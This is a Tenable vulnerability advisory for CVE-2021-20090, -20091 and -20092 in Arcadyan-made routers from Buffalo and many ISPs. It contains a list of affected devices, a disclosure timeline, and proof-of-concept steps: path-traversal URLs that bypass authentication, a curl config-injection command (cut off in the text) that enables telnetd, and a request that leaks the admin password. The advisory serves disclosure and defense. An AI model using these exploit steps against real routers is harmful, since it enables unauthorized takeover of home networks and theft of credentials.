tenable

Multiple Vulnerabilities in Buffalo and Arcadyan manufactured routers

High

← View More Research Advisories

Synopsis

Tenable has discovered multiple vulnerabilities in routers manufactured by Arcadyan.

During the disclosure process for the issues discovered in the Buffalo routers, Tenable discovered that CVE-2021-20090 affected many more devices, as the root cause of the vulnerability exists in the underlying Arcadyan firmware.

Please note that CVE-2021-20091 and CVE-2021-20092 have only been confirmed on Buffalo WSR-2533 models.

CVE-2021-20090 : Path Traversal
CVSSv3 Base Score: 8.1
CVSSv3 Vector: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
A path traversal vulnerability in the web interfaces of networking devices manufactured by Arcadyan, including Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24, could allow unauthenticated remote attackers to bypass authentication.

This vulnerability has also been confirmed to affect the following devices
note: the firmware versions listed do not indicate the latest affected firmware versions, only the firmware versions on which the issue was confirmed. Please contact the devices' respective vendors for more information.

Vendor	Device	Found on version
ADB	ADSL wireless IAD router	1.26S-R-3P
Arcadyan	ARV7519	00.96.00.96.617ES
Arcadyan	VRV9517	6.00.17 build04
Arcadyan	VGV7519	3.01.116
Arcadyan	VRV9518	1.01.00 build44
ASMAX	BBR-4MG / SMC7908 ADSL	0.08
ASUS	DSL-AC88U (Arc VRV9517)	1.10.05 build502
ASUS	DSL-AC87VG (Arc VRV9510)	1.05.18 build305
ASUS	DSL-AC3100	1.10.05 build503
ASUS	DSL-AC68VG	5.00.08 build272
Beeline	Smart Box Flash	1.00.13_beta4
British Telecom	WE410443-SA	1.02.12 build02
Buffalo	WSR-2533DHPL2	1.02
Buffalo	WSR-2533DHP3	1.24
Buffalo	BBR-4HG	
Buffalo	BBR-4MG	2.08 Release 0002
Buffalo	WSR-3200AX4S	1.1
Buffalo	WSR-1166DHP2	1.15
Buffalo	WXR-5700AX7S	1.11
Deutsche Telekom	Speedport Smart 3	010137.4.8.001.0
HughesNet	HT2000W	0.10.10
KPN	ExperiaBox V10A (Arcadyan VRV9517)	5.00.48 build453
KPN	VGV7519	3.01.116
O2	HomeBox 6441	1.01.36
Orange	LiveBox Fibra (PRV3399)	00.96.00.96.617ES

Telecom (Argentina)	Arcadyan VRV9518VAC23-A-OS-AM	1.01.00 build44
TelMex	PRV33AC	1.31.005.0012
TelMex	VRV7006	
Telstra	Smart Modem Gen 2 (LH1000)	0.13.01r
Telus	WiFi Hub (PRV65B444A-S-TS)	v3.00.20
Telus	NH20A	1.00.10debug build06
Verizon	Fios G3100	2.0.0.6
Vodafone	EasyBox 904	4.16
Vodafone	EasyBox 903	30.05.714
Vodafone	EasyBox 802	20.02.226

Proof of Concept:

The vulnerability exists due to a list of folders which fall under a "bypass list" for authentication. For most of the devices listed, that means that the vulnerability can be triggered by multiple paths. The simplest examples would be:

For a device in which **http://<ip>/index.htm** requires authentication, an attacker could access **index.htm** using the following paths:

- **http://<ip>/images/..%2findex.htm**
- **http://<ip>/js/..%2findex.htm**
- **http://<ip>/css/..%2findex.htm**

To have the pages load properly, one will need to use proxy match/replace settings to ensure any resources loaded which require authentication also leverage the path traversal. Additionally, certain files (those found under /cgi/) require a csrf (named **httoken** on these devices) token and a valid **Referer** header which will cause an error if the referer includes the **..%2f** traversal (which can be match/replaced as well).

CVE-2021-20091 : Configuration File Injection
CVSSv3 Base Score: 7.5
CVSSv3 Vector: AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 do not properly sanitize user input. An authenticated remote attacker could leverage this vulnerability to alter device configuration, potentially gaining remote code execution.

Proof of Concept:
The injection occurs in parameters which pass from **apply_abstract.cgi** to the device's global config file. Assuming the user is logged in (or, alternatively, the url can be changed to /images/..%2fapply_abstract.cgi, leveraging the path traversal), the following command could be used to inject a line into the configuration file which enables **telnetd**.

```
curl --include -X POST http://<ip>/apply_abstract.cgi -H "Referer: http://<ip>/ping.html" --data "action=start_ping&httoken=<valid httoken>&submit_button=ping.html&action_params
```

The **%0A** will be interpreted as a newline when the ping address is added to /tmp/etc/config/.glbcfg. When rebooted, a shell will be available on port 23.

CVE-2021-20092 : Improper Access Control
CVSSv3 Base Score: 5.9
CVSSv3 Vector: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 do not properly restrict access to sensitive information from an unauthorized actor.

Proof of Concept:

1. To get a valid httoken, navigate to http://<ip of device>/loginerror.html in a modern browser (tested on chrome).
2. Open DevTools
3. Run getToken() in the Console.
4. Copy the token, and use it in the following command from a terminal:

```
$ curl --include "http://192.168.11.1/cgi/cgi_i_filter.js?_tn=442853667" -H "Referer: http://192.168.11.1/loginerror.html"

HTTP/1.1 200 OK
Date: Mon, 13 Jan 2020 15:24:03 GMT
Server: Arcadyan httpd 1.0
Content-type: application/x-javascript
X-FRAME-OPTIONS: SAMEORIGIN
Connection: close

/*DEMO*/
var login_password = "<admin password>";

addCfg("lan_ipaddr", 0, "192.168.11.1");
```

Solution

Customers should seek update and mitigation information from their respective vendors.

https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
https://www.tenable.com/whitepapers/router-vuln-present-for-decade-why-iot-supply-chain-is-to-blame

Disclosure Timeline

January 24, 2021 - Tenable reports vulnerabilities to Buffalo Japan (buffalo.jp)
January 28, 2021 - Tenable tries to report vulnerabilities to Buffalo Group (buffalo-technology.com)
February 4, 2021 - Tenable reports vulnerabilities to Buffalo Americas (buffalotech.com)
February 9, 2021 - Buffalo Support confirms and escalates to Buffalo Japan
February 24, 2021 - Buffalo Japan confirms vulnerabilities, informs Tenable they are working on a patch
April 14, 2021 - Buffalo informs Tenable that they will disclose on April 26
April 21, 2021 - Tenable informs Verizon, Vodafone, O2 (Telefonica), Hughesnet
April 22, 2021 - Tenable informs Arcadyan that multiple vendors using their devices are affected
April 25, 2021 - Arcadyan confirms vulnerabilities and that they are working with one vendor to fix
April 25, 2021 - Tenable asks if Arcadyan can confirm a list of potentially affected vendors, and if they are helping those vendors to fix the issue. (Arcadyan stops responding)
April 26, 2021 - Advisory Initially Published
May 18, 2021 - Tenable discovers many more affected vendors, and decides to report to CERT Coordination Center
May 19, 2021 - CERT Coordination Center opens case in VINCE to help with reporting and disclosure
July 20, 2021 - Advisory updated with additional models affected by CVE-2021-20090

All information within TRA advisories is provided "as is", without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email advisories@tenable.com

Risk Information

CVE ID: CVE-2021-20090
CVE-2021-20091
CVE-2021-20092
Tenable Advisory ID: TRA-2021-13
Credit: Evan Grant

CVSSv2 Base / Temporal Score: 9.3
CVSSv2 Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C
CVSSv3 Base / Temporal Score: 8.1
CVSSv3 Vector: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Risk Factor: High

Advisory Timeline

26 April 2021 - Initial Publication
27 April 2021 - Added reference, updated solution
18 May 2021 - Updated formatting for Advisory Identifier
20 July 2021 - Added list of vendors affected by CVE-2021-20090
03 August 2021 - Added PoCs
04 August 2021 - Added additional references. Corrected typo.

FEATURED PRODUCTS

Tenable One Exposure Management Platform

Tenable.cs Cloud Security

Tenable.io Vulnerability Management

Tenable.io Web App Scanning

Tenable.asm External Attack Surface

Tenable.ad Active Directory

Tenable.ot Operational Technology

Tenable.sc Security Center

Tenable Lumin

Nessus

→ View all Products

FEATURED SOLUTIONS

Application Security

Building Management Systems

Finance

Healthcare

IT/OT

Ransomware

State / Local / Education

US Federal

Vulnerability Management

Zero Trust

→ View all Solutions

CUSTOMER RESOURCES

Resource Library

Community & Support

Customer Education

Tenable Research

Documentation

Trust and Assurance

Nessus Resource Center

Cyber Exposure Fundamentals

System Status

CONNECTIONS

Blog

Contact Us

Careers

Investors

Events

Media